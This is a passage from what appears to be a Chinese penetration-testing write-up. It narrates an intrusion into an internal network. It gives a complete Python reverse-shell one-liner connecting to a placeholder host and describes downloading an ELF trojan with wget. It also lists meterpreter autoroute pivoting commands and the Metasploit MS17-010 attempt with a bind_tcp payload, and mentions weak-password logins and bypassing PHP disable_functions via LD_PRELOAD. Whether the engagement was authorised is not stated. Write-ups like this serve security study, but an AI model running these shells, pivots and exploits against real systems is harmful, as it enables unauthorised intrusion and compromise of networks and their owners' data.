好了, LD_PRELOAD 突破 disable_functions 的唯一条件,PHP 支持putenv()、mail() 即可。
内网初探:为了方便,用python先弹一个shell回来
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("xxx.xxx.xxx.xxx",port)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/bash","-i"]);'
接下来上msf,既然可以执行命令了,那就python起一个http 然后wget下来一个elf,生成木马 。
Msf起监听,并执行弹shell,由于忘记截图,只剩下添加路由处
meterpreter > run get_local_subnets //获取当前机器的所有网段信息
meterpreter > run autoroute -s xxx.xxx.xxx.xxx/24 //添加目标内网0网段的路由,CIDR格式添加
meterpreter > run autoroute -p //打印当前添加的路由表信息
扫描一下同网段机器,数量较多这里只截取一部分。
进入内网,按照惯例先来一波ms17-010开路看看,发现一台存在漏洞,就在我认为可以顺利拿下shell的时候,我发现事情并不简单,利用msf的exp模块没有成功,由于没有成功这个点暂时搁置,去看看其他机器有没有什么可利用的服务,回到webshell上做信息收集发现了数据库文件。
尝试连接,结果连接失败。
在其他机器上的web,弱口令进到后台,也没什么可利用点。
此时已是凌晨1点多,一度陷入僵持状态,就在我打算洗洗睡了的时候,突然想起一开始的ms17-010,既然不能直接反弹shell回来,那我去接入它试一试,说干就干,更换payload。
msf> set payload windows/x86/shell/bind_tcp
在打一遍,在我反复尝试之后,终于有一次成功了。